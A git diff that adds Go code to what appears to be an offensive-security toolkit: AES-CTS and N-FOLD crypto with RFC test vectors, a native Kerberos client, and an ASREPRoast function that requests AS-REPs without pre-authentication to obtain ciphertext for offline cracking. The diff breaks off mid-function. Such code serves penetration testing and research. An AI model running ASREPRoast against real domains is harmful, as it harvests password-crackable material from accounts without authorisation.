diff --git a/crypto/aescts/aescts.go b/crypto/aescts/aescts.go new file mode 100644 index 00000000..d1912ee2 --- /dev/null +++ b/crypto/aescts/aescts.go @@ -0,0 +1,188 @@ +// Package aescts implements AES-CTS (Ciphertext Stealing) mode as used by +// Kerberos per RFC 3962. The variant used is CBC-CTS where the last two +// ciphertext blocks are swapped before output (Kerberos / CS3 style). +package aescts + +import ( + "crypto/aes" + "crypto/cipher" + "errors" +) + +const blockSize = 16 + +// Encrypt encrypts plaintext using AES-CTS with the given key and IV. +// plaintext must be >= 16 bytes (one AES block). +// Output length equals input length. +// +// For plaintext of exactly one block (16 bytes), standard AES-CBC is used +// (no swap is possible with a single block). For two or more blocks, the +// last two blocks in the CBC output are swapped and the output is truncated +// to len(plaintext) bytes. +func Encrypt(key, iv, plaintext []byte) ([]byte, error) { + n := len(plaintext) + if n < blockSize { + return nil, errors.New("aescts: plaintext must be at least 16 bytes") + } + + // Special case: exactly one block — CBC with no swap + if n == blockSize { + padded := make([]byte, blockSize) + copy(padded, plaintext) + return aesCBCEncrypt(key, iv, padded) + } + + r := n % blockSize // remainder bytes in last partial block (0 = exact multiple) + + // Pad plaintext to a multiple of blockSize + paddedLen := n + if r != 0 { + paddedLen = n + (blockSize - r) + } + padded := make([]byte, paddedLen) + copy(padded, plaintext) + + // AES-CBC encrypt the padded plaintext + cbcOut, err := aesCBCEncrypt(key, iv, padded) + if err != nil { + return nil, err + } + + numBlocks := paddedLen / blockSize + result := make([]byte, n) + + if r == 0 { + // Exact multiple of blockSize: swap last two complete blocks. + // CBC output: ... C[n-2] C[n-1] + // CTS output: ... C[n-1] C[n-2] + prefixEnd := n - 2*blockSize + if prefixEnd > 0 { + copy(result[:prefixEnd], cbcOut[:prefixEnd]) + } + copy(result[prefixEnd:prefixEnd+blockSize], cbcOut[n-blockSize:n]) + copy(result[prefixEnd+blockSize:n], cbcOut[n-2*blockSize:n-blockSize]) + } else { + // Non-multiple: CBC gives numBlocks full blocks (last one zero-padded). + // CBC blocks: C[0] ... C[numBlocks-2] C[numBlocks-1] + // CTS output: C[0]...C[numBlocks-3] + C[numBlocks-1](full 16B) + C[numBlocks-2][:r] + // Total: (numBlocks-2)*16 + 16 + r = (numBlocks-1)*16 + r = n ✓ + prefixEnd := (numBlocks - 2) * blockSize + penultStart := (numBlocks - 2) * blockSize + lastStart := (numBlocks - 1) * blockSize + + if prefixEnd > 0 { + copy(result[:prefixEnd], cbcOut[:prefixEnd]) + } + // Full last CBC block + copy(result[prefixEnd:prefixEnd+blockSize], cbcOut[lastStart:lastStart+blockSize]) + // First r bytes of penultimate CBC block + copy(result[prefixEnd+blockSize:n], cbcOut[penultStart:penultStart+r]) + } + + return result, nil +} + +// Decrypt decrypts ciphertext using AES-CTS with the given key and IV. +// ciphertext must be >= 16 bytes. +// Output length equals input length. +func Decrypt(key, iv, ciphertext []byte) ([]byte, error) { + n := len(ciphertext) + if n < blockSize { + return nil, errors.New("aescts: ciphertext must be at least 16 bytes") + } + + // Special case: exactly one block — CBC with no un-swap + if n == blockSize { + return aesCBCDecrypt(key, iv, ciphertext) + } + + r := n % blockSize + + if r == 0 { + // Un-swap last two full blocks, then normal CBC decrypt. + buf := make([]byte, n) + copy(buf[:n-2*blockSize], ciphertext[:n-2*blockSize]) + copy(buf[n-2*blockSize:n-blockSize], ciphertext[n-blockSize:n]) + copy(buf[n-blockSize:n], ciphertext[n-2*blockSize:n-blockSize]) + return aesCBCDecrypt(key, iv, buf) + } + + // Non-multiple case. + // CTS ciphertext layout (from Encrypt): + // prefix: (numBlocks-2)*16 bytes — blocks C[0]..C[numBlocks-3] + // Clast: 16 bytes — last CBC block (C[numBlocks-1]) + // Cpen_partial: r bytes — first r bytes of penultimate CBC block (C[numBlocks-2]) + // + // To reconstruct the penultimate CBC block (C[numBlocks-2]): + // AES-ECB-decrypt Clast → X (= P[numBlocks-1]_padded XOR C[numBlocks-2]) + // Since P[numBlocks-1] was zero-padded, X[r:] = 0 XOR C[numBlocks-2][r:] = C[numBlocks-2][r:] + // So full C[numBlocks-2] = Cpen_partial + X[r:] + // + // Recover last r bytes of plaintext: + // P[numBlocks-1][:r] = X[:r] XOR C[numBlocks-2][:r] = X[:r] XOR Cpen_partial + // + // Decrypt prefix + C[numBlocks-2] with CBC to get P[0]..P[numBlocks-2]. + + numBlocks := n / blockSize // integer division; excludes the partial block + prefixLen := (numBlocks - 1) * blockSize + clast := ciphertext[prefixLen : prefixLen+blockSize] + cpenPartial := ciphertext[prefixLen+blockSize:] + + // AES-ECB decrypt Clast + blockCipher, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + x := make([]byte, blockSize) + blockCipher.Decrypt(x, clast) + + // Reconstruct full penultimate CBC block + cpen := make([]byte, blockSize) + copy(cpen[:r], cpenPartial) + copy(cpen[r:], x[r:]) + + // Recover last r bytes of plaintext + lastPartial := make([]byte, r) + for i := 0; i < r; i++ { + lastPartial[i] = x[i] ^ cpenPartial[i] + } + + // CBC-decrypt prefix + cpen to get P[0]..P[numBlocks-2] + cbcInput := make([]byte, prefixLen+blockSize) + copy(cbcInput[:prefixLen], ciphertext[:prefixLen]) + copy(cbcInput[prefixLen:], cpen) + + mainPlain, err := aesCBCDecrypt(key, iv, cbcInput) + if err != nil { + return nil, err + } + + result := append(mainPlain, lastPartial...) + return result, nil +} + +// aesCBCEncrypt performs standard AES-CBC encryption. +// plaintext length must be a multiple of blockSize. +func aesCBCEncrypt(key, iv, plaintext []byte) ([]byte, error) { + blockCipher, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + ciphertext := make([]byte, len(plaintext)) + mode := cipher.NewCBCEncrypter(blockCipher, iv) + mode.CryptBlocks(ciphertext, plaintext) + return ciphertext, nil +} + +// aesCBCDecrypt performs standard AES-CBC decryption. +// ciphertext length must be a multiple of blockSize. +func aesCBCDecrypt(key, iv, ciphertext []byte) ([]byte, error) { + blockCipher, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + plaintext := make([]byte, len(ciphertext)) + mode := cipher.NewCBCDecrypter(blockCipher, iv) + mode.CryptBlocks(plaintext, ciphertext) + return plaintext, nil +} diff --git a/crypto/aescts/aescts_test.go b/crypto/aescts/aescts_test.go new file mode 100644 index 00000000..b523eb4b --- /dev/null +++ b/crypto/aescts/aescts_test.go @@ -0,0 +1,115 @@ +package aescts + +import ( + "bytes" + "crypto/rand" + "testing" +) + +// TestEncryptDecryptRoundtrip tests that Encrypt followed by Decrypt returns the original plaintext +// for various input lengths. +func TestEncryptDecryptRoundtrip(t *testing.T) { + key := make([]byte, 16) // AES-128 + iv := make([]byte, 16) + rand.Read(key) + rand.Read(iv) + + lengths := []int{16, 17, 20, 31, 32, 33, 40, 48, 64, 100} + + for _, length := range lengths { + plaintext := make([]byte, length) + rand.Read(plaintext) + + ciphertext, err := Encrypt(key, iv, plaintext) + if err != nil { + t.Errorf("Encrypt(%d bytes) error: %v", length, err) + continue + } + + if len(ciphertext) != len(plaintext) { + t.Errorf("Encrypt(%d bytes) output length = %d, want %d", length, len(ciphertext), len(plaintext)) + continue + } + + decrypted, err := Decrypt(key, iv, ciphertext) + if err != nil { + t.Errorf("Decrypt(%d bytes) error: %v", length, err) + continue + } + + if !bytes.Equal(decrypted, plaintext) { + t.Errorf("Roundtrip(%d bytes) failed: got %x, want %x", length, decrypted, plaintext) + } + } +} + +// TestEncryptDecryptAES256Roundtrip tests with a 256-bit key. +func TestEncryptDecryptAES256Roundtrip(t *testing.T) { + key := make([]byte, 32) // AES-256 + iv := make([]byte, 16) + rand.Read(key) + rand.Read(iv) + + lengths := []int{16, 20, 32, 40} + + for _, length := range lengths { + plaintext := make([]byte, length) + rand.Read(plaintext) + + ciphertext, err := Encrypt(key, iv, plaintext) + if err != nil { + t.Errorf("AES-256 Encrypt(%d bytes) error: %v", length, err) + continue + } + + decrypted, err := Decrypt(key, iv, ciphertext) + if err != nil { + t.Errorf("AES-256 Decrypt(%d bytes) error: %v", length, err) + continue + } + + if !bytes.Equal(decrypted, plaintext) { + t.Errorf("AES-256 Roundtrip(%d bytes) failed", length) + } + } +} + +// TestEncryptTooShort verifies that Encrypt rejects plaintext shorter than 16 bytes. +func TestEncryptTooShort(t *testing.T) { + key := make([]byte, 16) + iv := make([]byte, 16) + _, err := Encrypt(key, iv, []byte("short")) + if err == nil { + t.Error("Encrypt with < 16 bytes should return an error") + } +} + +// TestDecryptTooShort verifies that Decrypt rejects ciphertext shorter than 16 bytes. +func TestDecryptTooShort(t *testing.T) { + key := make([]byte, 16) + iv := make([]byte, 16) + _, err := Decrypt(key, iv, []byte("short")) + if err == nil { + t.Error("Decrypt with < 16 bytes should return an error") + } +} + +// TestEncryptDeterministic verifies that Encrypt with the same inputs produces the same output. +func TestEncryptDeterministic(t *testing.T) { + key := make([]byte, 16) + iv := make([]byte, 16) + plaintext := make([]byte, 32) + + c1, err := Encrypt(key, iv, plaintext) + if err != nil { + t.Fatal(err) + } + c2, err := Encrypt(key, iv, plaintext) + if err != nil { + t.Fatal(err) + } + + if !bytes.Equal(c1, c2) { + t.Error("Encrypt is not deterministic") + } +} diff --git a/crypto/nfold/nfold.go b/crypto/nfold/nfold.go new file mode 100644 index 00000000..7692a48a --- /dev/null +++ b/crypto/nfold/nfold.go @@ -0,0 +1,92 @@ +// Package nfold implements the N-FOLD function from RFC 3961 Section 5.1. +// N-FOLD is used by Kerberos to generate key derivation constants. +package nfold + +// gcd computes the greatest common divisor of a and b. +func gcd(a, b int) int { + for b != 0 { + a, b = b, a%b + } + return a +} + +// lcm computes the least common multiple of a and b. +func lcm(a, b int) int { + return a / gcd(a, b) * b +} + +// getBit returns the value (0 or 1) of bit p in b. +// Bit 0 is the MSB of b[0], bit 7 is the LSB of b[0], bit 8 is MSB of b[1], etc. +func getBit(b []byte, p int) int { + pByte := p / 8 + pBit := uint(p % 8) + return int(b[pByte]>>(8-(pBit+1))) & 0x01 +} + +// setBit sets bit p in b to v (0 or 1). +func setBit(b []byte, p, v int) { + pByte := p / 8 + pBit := uint(p % 8) + b[pByte] = byte(v<<(8-(pBit+1))) | b[pByte] +} + +// rotateRight performs a bit-level right rotation of b by step positions. +func rotateRight(b []byte, step int) []byte { + out := make([]byte, len(b)) + bitLen := len(b) * 8 + for i := 0; i < bitLen; i++ { + v := getBit(b, i) + setBit(out, (i+step)%bitLen, v) + } + return out +} + +// onesComplementAddition adds two equal-length byte slices using ones' complement +// (end-around carry) arithmetic, processing from LSB to MSB. +func onesComplementAddition(n1, n2 []byte) []byte { + numBits := len(n1) * 8 + out := make([]byte, len(n1)) + carry := 0 + for i := numBits - 1; i >= 0; i-- { + s := getBit(n1, i) + getBit(n2, i) + carry + setBit(out, i, s&1) + carry = s >> 1 + } + if carry == 1 { + // End-around carry: add 1 to the result + carryBuf := make([]byte, len(n1)) + carryBuf[len(carryBuf)-1] = 1 + out = onesComplementAddition(out, carryBuf) + } + return out +} + +// NFold folds the input byte string into n bits (n must be a multiple of 8). +// +// The algorithm (RFC 3961 Section 5.1): +// 1. Let k = len(in)*8 and l = lcm(n, k). +// 2. Build a buffer of l/8 bytes by concatenating l/k copies of the input, +// each copy rotated right by 13*i bits relative to the original. +// 3. XOR (with end-around carry / ones' complement addition) all n-bit +// blocks of the buffer together to produce the n-bit output. +func NFold(in []byte, n int) []byte { + k := len(in) * 8 + lcmVal := lcm(n, k) + numCopies := lcmVal / k + + // Build the concatenated rotated buffer + var buf []byte + for i := 0; i < numCopies; i++ { + buf = append(buf, rotateRight(in, 13*i)...) + } + + // Ones' complement addition of all n-bit (n/8 byte) blocks + result := make([]byte, n/8) + block := make([]byte, n/8) + numBlocks := lcmVal / n + for i := 0; i < numBlocks; i++ { + copy(block, buf[i*(n/8):(i+1)*(n/8)]) + result = onesComplementAddition(result, block) + } + return result +} diff --git a/crypto/nfold/nfold_test.go b/crypto/nfold/nfold_test.go new file mode 100644 index 00000000..84e54086 --- /dev/null +++ b/crypto/nfold/nfold_test.go @@ -0,0 +1,60 @@ +package nfold + +import ( + "encoding/hex" + "testing" +) + +// TestNFoldRFC3961Vectors tests all vectors from RFC 3961 and known reference implementations. +// Vectors verified against jcmturner/gokrb5 and jfjallid/gokrb5 (both canonical RFC 3961 impls). +func TestNFoldRFC3961Vectors(t *testing.T) { + tests := []struct { + input []byte + n int + expected string + }{ + // nfold(64, "kerberos") = "kerberos" — identity case (lcm(64,64)=64, one block) + {[]byte("kerberos"), 64, "6b65726265726f73"}, + // nfold(128, "kerberos") — RFC 3961 reference vector + {[]byte("kerberos"), 128, "6b65726265726f737b9b5b2b93132b93"}, + // nfold(168, "kerberos") — RFC 3961 reference vector + {[]byte("kerberos"), 168, "8372c236344e5f1550cd0747e15d62ca7a5a3bcea4"}, + // nfold(56, "password") — RFC 3961 reference vector + {[]byte("password"), 56, "78a07b6caf85fa"}, + // nfold(168, "password") — RFC 3961 reference vector + {[]byte("password"), 168, "59e4a8ca7c0385c3c37b3f6d2000247cb6e6bd5b3e"}, + // nfold(64, "Rough Consensus, and Running Code") — RFC 3961 reference vector + {[]byte("Rough Consensus, and Running Code"), 64, "bb6ed30870b7f0e0"}, + // nfold(192, "MASSACHVSETTS INSTITVTE OF TECHNOLOGY") — RFC 3961 reference vector + {[]byte("MASSACHVSETTS INSTITVTE OF TECHNOLOGY"), 192, "db3b0d8f0b061e603282b308a50841229ad798fab9540c1b"}, + // nfold(168, "Q") — RFC 3961 reference vector + {[]byte("Q"), 168, "518a54a215a8452a518a54a215a8452a518a54a215"}, + // nfold(168, "ba") — RFC 3961 reference vector + {[]byte("ba"), 168, "fb25d531ae8974499f52fd92ea9857c4ba24cf297e"}, + // nfold(64, "012345") — RFC 3961 reference vector + {[]byte("012345"), 64, "be072631276b1955"}, + } + + for _, tt := range tests { + result := NFold(tt.input, tt.n) + if len(result) != tt.n/8 { + t.Errorf("NFold(%q, %d) length = %d, want %d", tt.input, tt.n, len(result), tt.n/8) + continue + } + got := hex.EncodeToString(result) + if got != tt.expected { + t.Errorf("NFold(%q, %d) = %s, want %s", tt.input, tt.n, got, tt.expected) + } + } +} + +// TestNFoldDeterministic verifies that NFold produces deterministic output. +func TestNFoldDeterministic(t *testing.T) { + input := []byte("test-input-data") + r1 := NFold(input, 64) + r2 := NFold(input, 64) + + if hex.EncodeToString(r1) != hex.EncodeToString(r2) { + t.Error("NFold is not deterministic") + } +} diff --git a/network/kerberos/asreproast.go b/network/kerberos/asreproast.go new file mode 100644 index 00000000..c13f4792 --- /dev/null +++ b/network/kerberos/asreproast.go @@ -0,0 +1,103 @@ +package kerberos + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + "strings" + "time" + + "github.com/TheManticoreProject/Manticore/network/kerberos/messages" +) + +// ASREPRoastResult contains the raw fields extracted from an AS-REP response for an +// account that does not require Kerberos pre-authentication (UF_DONT_REQUIRE_PREAUTH). +// The caller is responsible for formatting CipherText into a crackable hash +// (e.g. hashcat $krb5asrep$$@:$). +type ASREPRoastResult struct { + // Username is the account that was targeted. + Username string + // Realm is the Kerberos realm (uppercased). + Realm string + // EncryptionType is the etype of the encrypted part (23=RC4, 17=AES128, 18=AES256). + EncryptionType int + // CipherText is the raw encrypted part of the AS-REP, crackable offline. + CipherText []byte +} + +// ASREPRoast sends an AS-REQ without pre-authentication data for the given username +// and returns the encrypted part of the AS-REP response for offline cracking. +// +// If the account requires pre-authentication the KDC responds with +// KDC_ERR_PREAUTH_REQUIRED (25) and this function returns an error. +// If the account does not exist the KDC responds with KDC_ERR_C_PRINCIPAL_UNKNOWN (6). +func ASREPRoast(username, realm, kdcHost string) (*ASREPRoastResult, error) { + realm = strings.ToUpper(realm) + + var nonce_buf [4]byte + if _, err := rand.Read(nonce_buf[:]); err != nil { + return nil, fmt.Errorf("asreproast: generate nonce: %w", err) + } + nonce := int(binary.BigEndian.Uint32(nonce_buf[:]) & 0x7fffffff) + + req := &messages.ASReq{ + PVNO: messages.KerberosV5, + MsgType: messages.MsgTypeASReq, + // No PAData — absence of pre-auth is what makes the account vulnerable. + ReqBody: messages.KDCReqBody{ + KDCOptions: kdcOptionsForwardable(), + CName: messages.PrincipalName{ + NameType: messages.NameTypePrincipal, + NameString: []string{username}, + }, + Realm: realm, + SName: messages.PrincipalName{ + NameType: messages.NameTypeSRVInst, + NameString: []string{"krbtgt", realm}, + }, + Till: time.Now().UTC().Add(24 * time.Hour), + Nonce: nonce, + EType: []int{ + messages.ETypeAES256CTSHMACSHA196, + messages.ETypeAES128CTSHMACSHA196, + messages.ETypeRC4HMAC, + }, + }, + } + + req_bytes, err := req.Marshal() + if err != nil { + return nil, fmt.Errorf("asreproast: marshal AS-REQ: %w", err) + } + + resp, err := kdcSend(kdcHost, defaultKDCPort, req_bytes) + if err != nil { + return nil, err + } + + // Try KRBError first — the KDC sends APPLICATION[30] on failure. + var krb_err messages.KRBError + if _, err := krb_err.Unmarshal(resp); err == nil { + switch krb_err.ErrorCode { + case messages.ErrPreauthRequired: + return nil, fmt.Errorf("asreproast: account %q requires pre-authentication (not vulnerable)", username) + case messages.ErrCPrincipalUnknown: + return nil, fmt.Errorf("asreproast: account %q not found in realm %s", username, realm) + default: + return nil, fmt.Errorf("asreproast: KDC error %d: %s", krb_err.ErrorCode, krb_err.EText) + } + } + + // Parse AS-REP. + var as_rep messages.ASRep + if _, err := as_rep.Unmarshal(resp); err != nil { + return nil, fmt.Errorf("asreproast: parse AS-REP: %w", err) + } + + return &ASREPRoastResult{ + Username: username, + Realm: realm, + EncryptionType: as_rep.EncPart.EType, + CipherText: as_rep.EncPart.Cipher, + }, nil +} diff --git a/network/kerberos/client.go b/network/kerberos/client.go new file mode 100644 index 00000000..4e68cc7e --- /dev/null +++ b/network/kerberos/client.go @@ -0,0 +1,466 @@ +package kerberos + +import ( + "crypto/rand" + "encoding/asn1" + "encoding/binary" + "fmt" + "strings" + "time" + + kerbcrypto "github.com/TheManticoreProject/Manticore/network/kerberos/crypto" + "github.com/TheManticoreProject/Manticore/network/kerberos/messages" +) + +// KerberosClient manages Kerberos authentication against an Active Directory KDC. +// +// It provides protocol-level primitives: TGT acquisition with PA-ENC-TIMESTAMP +// pre-authentication, TGS requests, and ASREPRoast. All cryptographic operations +// use the native Manticore implementations (no external Kerberos library). +// +// Typical usage: +// +// c := kerberos.NewClient("john", "CORP.LOCAL", "10.0.0.1") +// c.WithPassword("secret") +// if err := c.GetTGT(); err != nil { ... } +// ticket, sessionKey, err := c.GetTGS("cifs/dc01.corp.local") +type KerberosClient struct { + username string + realm string + kdcHost string + + password string + + // Populated after a successful GetTGT call. + tgtTicket messages.Ticket + sessionKey []byte + sessionEType int + hasTGT bool +} + +// NewClient creates a new KerberosClient for the given username, realm and KDC host. +// The realm is uppercased automatically (required by the Kerberos specification). +// Call WithPassword before calling GetTGT. +func NewClient(username, realm, kdcHost string) *KerberosClient { + return &KerberosClient{ + username: username, + realm: strings.ToUpper(realm), + kdcHost: kdcHost, + } +} + +// WithPassword stores the password for use in GetTGT. +// Returns the client to allow fluent chaining. +func (c *KerberosClient) WithPassword(password string) *KerberosClient { + c.password = password + return c +} + +// WithCCache is not yet supported in the native implementation. +// Use the gokrb5-backed KerberosInit helper for ccache-based LDAP binds. +func (c *KerberosClient) WithCCache(_ string) error { + return fmt.Errorf("kerberos: ccache not supported in native implementation; use gokrb5 KerberosInit for LDAP GSSAPI binds") +} + +// GetTGT requests a Ticket Granting Ticket from the KDC using the password +// configured via WithPassword. +// +// It performs the full AS-REQ/AS-REP exchange with PA-ENC-TIMESTAMP pre-auth: +// 1. Probe without pre-auth to discover the KDC's preferred etype and salt. +// 2. Derive the client key (StringToKey) from the password + salt. +// 3. Re-send with PA-ENC-TIMESTAMP encrypted under that key. +// 4. Decrypt the AS-REP enc-part to obtain the session key and TGT ticket. +func (c *KerberosClient) GetTGT() error { + if c.password == "" { + return fmt.Errorf("kerberos: no credentials configured: call WithPassword first") + } + + // Step 1: probe without pre-auth to get KDC_ERR_PREAUTH_REQUIRED with ETYPE-INFO2. + probe_resp, err := c.sendASReq(nil) + if err != nil { + return err + } + + // Parse the probe response — expect a KRBError with ErrPreauthRequired. + var krb_err messages.KRBError + if _, parse_err := krb_err.Unmarshal(probe_resp); parse_err == nil { + if krb_err.ErrorCode != messages.ErrPreauthRequired { + return fmt.Errorf("kerberos: unexpected KDC error %d: %s", krb_err.ErrorCode, krb_err.EText) + } + // Extract preferred etype and salt from ETYPE-INFO2 in EData. + etype, salt, s2k_params := c.pickETypeFromError(krb_err) + return c.doASReqWithPreauth(etype, salt, s2k_params) + } + + // The KDC responded with an AS-REP directly (no pre-auth required — unusual but valid). + // Try to decrypt with default etype/salt. + return c.processASRep(probe_resp, messages.ETypeAES256CTSHMACSHA196, c.realm+c.username, nil) +} + +// GetTGS requests a service ticket for the given Service Principal Name. +// GetTGT must have been called successfully beforehand. +// +// The SPN format is "service/host" (e.g. "cifs/dc01.corp.local") or +// "service/host@REALM". +// +// Returns the service Ticket and its associated session key bytes. +func (c *KerberosClient) GetTGS(spn string) (messages.Ticket, []byte, error) { + if !c.hasTGT { + return messages.Ticket{}, nil, fmt.Errorf("kerberos: no TGT: call GetTGT first") + } + + sname, err := parseSPN(spn, c.realm) + if err != nil { + return messages.Ticket{}, nil, fmt.Errorf("kerberos: parse SPN %q: %w", spn, err) + } + + // Build AP-REQ wrapping the TGT. + ap_req_bytes, err := c.buildAPReq() + if err != nil { + return messages.Ticket{}, nil, fmt.Errorf("kerberos: build AP-REQ: %w", err) + } + + // Build TGS-REQ. + nonce := randomNonce() + tgs_req := &messages.TGSReq{ + PVNO: messages.KerberosV5, + MsgType: messages.MsgTypeTGSReq, + PAData: []messages.PAData{ + {PADataType: messages.PATGSReq, PADataValue: ap_req_bytes}, + }, + ReqBody: messages.KDCReqBody{ + KDCOptions: kdcOptionsForwardable(), + Realm: c.realm, + SName: sname, + Till: time.Now().UTC().Add(24 * time.Hour), + Nonce: nonce, + EType: []int{ + messages.ETypeAES256CTSHMACSHA196, + messages.ETypeAES128CTSHMACSHA196, + messages.ETypeRC4HMAC, + }, + }, + } + + tgs_req_bytes, err := tgs_req.Marshal() + if err != nil { + return messages.Ticket{}, nil, fmt.Errorf("kerberos: marshal TGS-REQ: %w", err) + } + + resp, err := kdcSend(c.kdcHost, defaultKDCPort, tgs_req_bytes) + if err != nil { + return messages.Ticket{}, nil, err + } + + // Check for KRBError. + var krb_err messages.KRBError + if _, parse_err := krb_err.Unmarshal(resp); parse_err == nil { + return messages.Ticket{}, nil, fmt.Errorf("kerberos: TGS error %d: %s", krb_err.ErrorCode, krb_err.EText) + } + + // Parse TGS-REP. + var tgs_rep messages.TGSRep + if _, err := tgs_rep.Unmarshal(resp); err != nil { + return messages.Ticket{}, nil, fmt.Errorf("kerberos: parse TGS-REP: %w", err) + } + + // Decrypt enc-part with the TGT session key. + enc_plain, err := kerbcrypto.Decrypt( + c.sessionEType, + c.sessionKey, + kerbcrypto.KeyUsageTGSRepEncSessionKey, + tgs_rep.EncPart.Cipher, + ) + if err != nil { + return messages.Ticket{}, nil, fmt.Errorf("kerberos: decrypt TGS-REP enc-part: %w", err) + } + + var enc_tgs_rep messages.EncTGSRepPart + if _, err := enc_tgs_rep.Unmarshal(enc_plain); err != nil { + return messages.Ticket{}, nil, fmt.Errorf("kerberos: parse EncTGSRepPart: %w", err) + } + + return tgs_rep.Ticket, enc_tgs_rep.Key.KeyValue, nil +} + +// Destroy zeroes out key material held by the client. +func (c *KerberosClient) Destroy() { + for i := range c.sessionKey { + c.sessionKey[i] = 0 + } + c.sessionKey = nil + c.password = "" + c.hasTGT = false +} + +// Username returns the username configured for this client. +func (c *KerberosClient) Username() string { return c.username } + +// Realm returns the realm (uppercased) configured for this client. +func (c *KerberosClient) Realm() string { return c.realm } + +// KDCHost returns the KDC host configured for this client. +func (c *KerberosClient) KDCHost() string { return c.kdcHost } + +// ── internal helpers ────────────────────────────────────────────────────────── + +// sendASReq builds and sends an AS-REQ with the given optional PA-DATA slice. +// Returns the raw KDC response bytes. +func (c *KerberosClient) sendASReq(pa_data []messages.PAData) ([]byte, error) { + req := &messages.ASReq{ + PVNO: messages.KerberosV5, + MsgType: messages.MsgTypeASReq, + PAData: pa_data, + ReqBody: messages.KDCReqBody{ + KDCOptions: kdcOptionsForwardable(), + CName: messages.PrincipalName{ + NameType: messages.NameTypePrincipal, + NameString: []string{c.username}, + }, + Realm: c.realm, + SName: messages.PrincipalName{ + NameType: messages.NameTypeSRVInst, + NameString: []string{"krbtgt", c.realm}, + }, + Till: time.Now().UTC().Add(24 * time.Hour), + Nonce: randomNonce(), + EType: []int{ + messages.ETypeAES256CTSHMACSHA196, + messages.ETypeAES128CTSHMACSHA196, + messages.ETypeRC4HMAC, + }, + }, + } + + req_bytes, err := req.Marshal() + if err != nil { + return nil, fmt.Errorf("kerberos: marshal AS-REQ: %w", err) + } + return kdcSend(c.kdcHost, defaultKDCPort, req_bytes) +} + +// pickETypeFromError extracts the preferred etype, salt and S2KParams from the +// PA-ETYPE-INFO2 structure embedded in a KRBError's EData. +// Falls back to AES-256 with the default AD salt if no EData is present. +func (c *KerberosClient) pickETypeFromError(krb_err messages.KRBError) (int, string, []byte) { + default_salt := c.realm + c.username + default_etype := messages.ETypeAES256CTSHMACSHA196 + + if len(krb_err.EData) == 0 { + return default_etype, default_salt, nil + } + + // EData may be a SEQUENCE OF PA-DATA or raw ETYPE-INFO2. + // Try to parse as SEQUENCE OF PA-DATA first. + var pa_list []messages.PAData + if _, err := asn1.Unmarshal(krb_err.EData, &pa_list); err == nil { + for _, pa := range pa_list { + if pa.PADataType == messages.PAETypeInfo2 { + var info messages.ETypeInfo2 + if _, err := info.Unmarshal(pa.PADataValue); err == nil && len(info) > 0 { + return pickBestEType(info, default_salt) + } + } + } + } + + // Try to parse EData directly as ETYPE-INFO2. + var info messages.ETypeInfo2 + if _, err := info.Unmarshal(krb_err.EData); err == nil && len(info) > 0 { + return pickBestEType(info, default_salt) + } + + return default_etype, default_salt, nil +} + +// pickBestEType selects the strongest supported etype from an ETypeInfo2 list. +func pickBestEType(info messages.ETypeInfo2, default_salt string) (int, string, []byte) { + // Preference order: AES256 > AES128 > RC4. + preferred := []int{ + messages.ETypeAES256CTSHMACSHA196, + messages.ETypeAES128CTSHMACSHA196, + messages.ETypeRC4HMAC, + } + for _, want := range preferred { + for _, entry := range info { + if entry.EType == want { + salt := entry.Salt + if salt == "" { + salt = default_salt + } + return entry.EType, salt, entry.S2KParams + } + } + } + // Fallback to first entry. + e := info[0] + if e.Salt == "" { + e.Salt = default_salt + } + return e.EType, e.Salt, e.S2KParams +} + +// doASReqWithPreauth derives the client key and sends an AS-REQ with PA-ENC-TIMESTAMP. +func (c *KerberosClient) doASReqWithPreauth(etype int, salt string, s2k_params []byte) error { + key, err := kerbcrypto.StringToKey(etype, c.password, salt, s2k_params) + if err != nil { + return fmt.Errorf("kerberos: StringToKey: %w", err) + } + + // Build PA-ENC-TIMESTAMP. + now := time.Now().UTC() + ts := &messages.PAEncTSEnc{ + PATimestamp: now, + PAUSec: now.Nanosecond() / 1000, + } + ts_bytes, err := ts.Marshal() + if err != nil { + return fmt.Errorf("kerberos: marshal PA-ENC-TIMESTAMP: %w", err) + } + + enc_ts, err := kerbcrypto.Encrypt(etype, key, kerbcrypto.KeyUsageASReqPAEncTimestamp, ts_bytes) + if err != nil { + return fmt.Errorf("kerberos: encrypt PA-ENC-TIMESTAMP: %w", err) + } + + pa_enc_ts := messages.EncryptedData{EType: etype, Cipher: enc_ts} + pa_enc_ts_bytes, err := asn1.Marshal(pa_enc_ts) + if err != nil { + return fmt.Errorf("kerberos: marshal EncryptedData for PA-ENC-TIMESTAMP: %w", err) + } + + pa_data := []messages.PAData{ + {PADataType: messages.PAEncTimestamp, PADataValue: pa_enc_ts_bytes}, + } + + resp, err := c.sendASReq(pa_data) + if err != nil { + return err + } + + // Check for error. + var krb_err messages.KRBError + if _, parse_err := krb_err.Unmarshal(resp); parse_err == nil { + return fmt.Errorf("kerberos: GetTGT failed (error %d): %s", krb_err.ErrorCode, krb_err.EText) + } + + return c.processASRep(resp, etype, salt, s2k_params) +} + +// processASRep decrypts the AS-REP enc-part and stores the TGT session key. +func (c *KerberosClient) processASRep(resp []byte, etype int, salt string, s2k_params []byte) error { + var as_rep messages.ASRep + if _, err := as_rep.Unmarshal(resp); err != nil { + return fmt.Errorf("kerberos: parse AS-REP: %w", err) + } + + key, err := kerbcrypto.StringToKey(etype, c.password, salt, s2k_params) + if err != nil { + return fmt.Errorf("kerberos: StringToKey for AS-REP decrypt: %w", err) + } + + enc_plain, err := kerbcrypto.Decrypt(etype, key, kerbcrypto.KeyUsageASRepEncPart, as_rep.EncPart.Cipher) + if err != nil { + return fmt.Errorf("kerberos: decrypt AS-REP enc-part: %w", err) + } + + var enc_as_rep messages.EncASRepPart + if _, err := enc_as_rep.Unmarshal(enc_plain); err != nil { + return fmt.Errorf("kerberos: parse EncASRepPart: %w", err) + } + + c.tgtTicket = as_rep.Ticket + c.sessionKey = enc_as_rep.Key.KeyValue + c.sessionEType = enc_as_rep.Key.KeyType + c.hasTGT = true + return nil +} + +// buildAPReq constructs an AP-REQ wrapping the TGT for use in TGS-REQ PA-DATA. +func (c *KerberosClient) buildAPReq() ([]byte, error) { + now := time.Now().UTC() + cusec := now.Nanosecond() / 1000 + + var seq_buf [4]byte + if _, err := rand.Read(seq_buf[:]); err != nil { + return nil, err + } + seq_num := int(binary.BigEndian.Uint32(seq_buf[:]) & 0x7fffffff) + + auth := &messages.Authenticator{ + AVno: messages.KerberosV5, + CRealm: c.realm, + CName: messages.PrincipalName{NameType: messages.NameTypePrincipal, 